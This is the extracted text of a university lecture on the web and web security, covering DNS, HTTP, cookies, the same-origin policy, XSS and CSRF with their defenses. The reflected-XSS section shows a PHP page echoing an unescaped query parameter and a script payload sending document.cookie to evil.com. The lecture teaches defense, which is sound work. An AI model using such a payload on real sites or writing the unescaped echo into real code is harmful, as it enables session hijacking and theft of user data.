Lecture 28: Web and Web Security

CS 105

Spring 2024

What is the Internet?

The Big Picture



Continuing up the Network Stack...



URLs

- Unique name for a file: URL (Universal Resource Locator)
- Example URL:



- What kind (protocol) of server to contact (HTTP)
- Where the server is (www.cs.pomona.edu)
- What port it is listening on (80)

Domain Name System (DNS)

- Principals are identified by names
 - for web hosts, typically a domain name
 - e.g., <u>www.cs.pomona.edu</u>
- Internet hosts are identified by IP addresses
 - used by network layer to route packets between hosts
- The role of DNS is to translate between domain names and IP addresses



Domain Name System (DNS)

- Distributed, hierarchical database
- Application-level protocol: hosts and DNS servers communicate to resolve names
- Names are separated into components by dots
- lookup occurs top down



DNS Lookup

- the client asks its local nameserver
- the local nameserver asks one of the root nameservers

DNS Root Name Servers

- contacted by local name server that can't resolve name
- owned by Internet Corporation for Assigned Names & Numbers (ICANN)
- contacts authoritative name server if name mapping not known, gets mapping
- returns mapping to local name server



DNS Lookup

- the client asks its local nameserver
- the local nameserver asks one of the root nameservers
- the root nameserver replies with the address of the top level nameserver
- the server then queries that nameserver
- the top level nameserver replies with the address of the authoritative nameserver
- the server then queries that nameserver
- repeat until host is reached, cache result.
- Example: Client wants IP addr of www.amazon.com
 - 1. Queries root server to find com DNS server
 - 2. Queries .com DNS server to get amazon.com DNS server
 - 3. Queries amazon.com DNS server to get IP address for www.amazon.com

URLs

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- Example URL:



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Well-known Ports and Service Names

- Popular services have permanently assigned well-known ports and corresponding well-known service names:
 - echo server: 7/echo
 - ssh servers: 22/ssh
 - email server: 25/smtp
 - Web servers: 80/http or 443/https
- Mappings between well-known ports and service names is contained in the file /etc/services on each Linux machine.

URLs

- Unique name for a file: URL (Universal Resource Locator)
- Example URL:



- Clients use prefix (http://www.cs.pomona.edu:80) to infer:
 - What kind (protocol) of server to contact (HTTP)
 - Where the server is (www.cs.pomona.edu)
 - What port it is listening on (80)
- Servers use suffix (/classes/cs105/index.html) to:
 - Specify what content they want

HTTP

- Clients and servers communicate using the HyperText Transfer Protocol (HTTP)
 - Client and server establish TCP connection
 - Client requests content
 - Server responds with requested content
 - Client and server close connection (eventually)
- Current version is HTTP/2.0
 - RFC 7540, 2015
 - Includes protocol negotiation
 - HTTP/1.1 still in use (RFC 2616, 1999)
 - HTTP/3 published 2022, ~30%



HTTP Requests

- HTTP request is a request line, followed by zero or more request headers
- Request line: <method> <uri> <version>
 - <method> is one of GET, POST, OPTIONS, HEAD, PUT, DELETE, or TRACE
 - <uri> is typically URL for proxies, URL suffix for servers
 - A URL is a type of URI (Uniform Resource Identifier)
 - See <u>http://www.ietf.org/rfc/rfc2396.txt</u>
 - <version> is HTTP version of request (HTTP/1.1 or HTTP/2.0)
- Request headers: <header name>: <header data>
 - Provide additional information to the server

HTTP Responses

- HTTP response is a response line followed by zero or more response headers, possibly followed by content
 - a blank line ("\r\n") separates headers from content.
- Response line: <version> <status code> <status msg>
 - <version> is HTTP version of the response
 - <status code> is numeric status
 - <status msg> is corresponding English text
 - 200 OK Request was handled without error
 301 Moved Provide alternate URL
 - 404 Not found Server couldn't find the file
- Response headers: <header name>: <header data>
 - Provide additional information about response
 - Content-Type: MIME type of content in response body
 - Content-Length: Length of content in response body

HTTP Example



HTTP Response:



Web Content

- Web servers return content to clients
 - content: a sequence of bytes with an associated MIME (Multipurpose Internet Mail Extensions) type

Example MIME types

- text/html
- text/plain
- image/gif
 format
- image/png
 format
- image/jpeg
 format

HTML document Unformatted text Binary image encoded in GIF

Binar image encoded in PNG

Binary image encoded in JPEG

You can find the complete list of MIME types at: http://www.iana.org/assignments/media-types/media-types.xhtml

Static and Dynamic Content

- The content returned in HTTP responses can be either static or dynamic
 - Static content: content stored in files and retrieved in response to an HTTP request
 - Examples: HTML files, images, audio clips
 - Request identifies which content file
 - Dynamic content: content produced on-the-fly in response to an HTTP request
 - Example: content produced by a program executed by the server on behalf of the client
 - Request identifies file containing executable code
- Bottom line: Web content is associated with a file that is managed by the server

HTML

<!DOCTYPE html> <html>

<head>

<meta charset="utf-8">

<title>CS 105 - Spring 2024</title>

k href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,300i,600,700,700i' rel='stylesheet' type='text/css'>

k href="resources/css/bootstrap.min.css" rel="stylesheet">

```
k rel="stylesheet" href="resources/css/main.css">
```

</head>

<body>

<header class="site-header">

```
<div class="navbar navbar-inverse navbar-fixed-top">
```

<div class="container-fluid">

<div class="navbar-header">

<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">

Toggle navigation

</button>

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Dynamic Web Pages

Server-Side

- PHP
- Ruby
- Python
- Java
- Go

Client-Side

Javascript

Cookies

- Cookies are small blocks of data stored locally by the web browser
- Cookie is sent with every request to that domain
- Can be used to keep track of whether a user has authenticated (as which user)
- And also other things...
- Can be set by third parties



Tiny Web Server

- Tiny Web server
 - Tiny is a sequential Web server
 - Serves static and dynamic content to real browsers
 - text files, HTML files, GIF, PNG, and JPEG images
 - 239 lines of commented C code
 - Not as complete or robust as a real Web server
 - You can break it with poorly-formed HTTP requests (e.g., terminate lines with "\n" instead of "\r\n")

Vulnerabilities by Year



Vulnerability Occurrence in Applications



Same Origin Policy (SOP)

Data for http://www.example.com/dir/page.html accessed by:

Х

X

X

- http://www.example.com/dir/page2.html
- http://www.example.com/dir2/page3.html
- http://www.example.com:80/dir/page.html
- https://www.example.com/dir/page.html
- http://www.example.com:81/dir/page.html
- http://evil.com/dir/page.html
- http://example.com/dir/page.html

SOP Exceptions

- Domain relaxation: document.domain
- Cross-origin network requests: Access-Control-Allow-Origin
- Cross-origin client-side communication: postMessage
- Importing scripts

Cross-Site Scripting (XSS)

- Form of code injection
- evil.com sends victim a script that runs on example.com

Reflected XSS



Attack Server



Victim Server



Reflected XSS

- Search field on victim.com:
 - http://victim.com/search.php?term=apple
- Server-side implementation of search.php:

<html>

<title> Search Results </title>

<body> Results for <?php echo \$_GET[term] ?>: ...</body>
</html>

What if victim instead clicks on:

http://victim.com/search.php?term=

<script> window.open("http://evil.com?cookie = " +
 document.cookie) </script>





Stored XSS attack vectors

- loaded images
- HTML attributes
- user content (comments, blog posts)

Example XSS attacks









XSS Defenses

- Parameter Validation
- HTTP-Only Cookies
- Dynamic Data Tainting
- Static Analysis
- Script Sandboxing

Cross-Site Request Forgery (CSRF)

Server Victim



Attack Server



CSRF Defenses

Secret Validation Token:



Referrer Validation:

facebook

Referrer: http://www.facebook.com/home.php

<input type=hidden value=23a3af01b>

Custom HTTP Header:



X-Requested-By: XMLHttpRequest

• User Interaction (e.g., CAPTCHA)

So what's the take away...



